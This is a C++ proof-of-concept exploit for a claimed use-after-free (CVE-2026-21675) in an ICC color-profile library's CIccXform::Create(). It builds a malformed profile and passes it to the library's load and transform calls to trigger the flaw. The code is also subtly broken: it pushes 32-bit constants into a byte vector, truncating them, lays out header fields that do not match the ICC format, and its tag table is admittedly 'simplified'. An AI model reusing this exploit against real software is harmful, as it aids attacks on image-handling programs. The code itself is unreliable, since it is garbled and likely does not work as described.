// CVE-2026-21675 PoC - Malformed ICC Profile Triggering Use After Free
// This PoC demonstrates the vulnerability in CIccXform::Create()
#include <icc.h>
#include <vector>
#include <cstdint>
// Craft a malformed ICC profile that triggers the vulnerability
std::vector<uint8_t> createMalformedICCProfile() {
std::vector<uint8_t> profile;
// ICC Profile Header (128 bytes)
uint32_t size = 0x00000D00; // Profile size
profile.insert(profile.end(), reinterpret_cast<uint8_t*>(&size),
reinterpret_cast<uint8_t*>(&size) + 4);
// CMM Type
profile.insert(profile.end(), 4, 0x00);
// Profile Version
profile.insert(profile.end(), 4, 0x02);
// Device Class
profile.push_back(0x73636E72); // 'scnr' (display device)
// Color Space
profile.push_back(0x52474220); // 'RGB '
// PCS
profile.push_back(0x58595A20); // 'XYZ '
// Date
profile.insert(profile.end(), 20, 0x00);
// Profile File Signature
profile.insert(profile.end(), 4, 0x61637370); // 'acsp'
// Primary Platform
profile.insert(profile.end(), 4, 0x00);
// Profile Flags
profile.insert(profile.end(), 4, 0x00);
// Device Manufacturer
profile.insert(profile.end(), 4, 0x00);
// Device Model
profile.insert(profile.end(), 4, 0x00);
// Device Attributes
profile.insert(profile.end(), 8, 0x00);
// Rendering Intent
profile.insert(profile.end(), 4, 0x00);
// PCS Illuminant
uint8_t illuminant[] = {0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0xF6, 0xD6, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00};
profile.insert(profile.end(), illuminant, illuminant + 24);
// Profile Creator
profile.insert(profile.end(), 4, 0x00);
// Profile ID (MD5)
profile.insert(profile.end(), 16, 0x00);
// Add malformed tag table to trigger vulnerability
// This is a simplified representation
uint32_t tagCount = 1;
profile.insert(profile.end(), reinterpret_cast<uint8_t*>(&tagCount),
reinterpret_cast<uint8_t*>(&tagCount) + 4);
return profile;
}
// Trigger the vulnerability
void triggerUAF() {
auto malformedProfile = createMalformedICCProfile();
// Load the malformed profile
CIccProfile* pProfile = CIccProfile::Load(malformedProfile.data(),
malformedProfile.size());
if (pProfile) {
// Create transform - triggers UAF in CIccXform::Create()
CIccXform* pXform = CIccXform::Create(pProfile,
iccXformTypeTRC | iccXformClassDisplay);
// Use after free occurs here if hint was improperly freed
if (pXform) {
// Process color transformation
pXform->Execute(NULL);
pXform->Destroy();
}
pProfile->Release();
}
}
int main() {
triggerUAF();
return 0;
}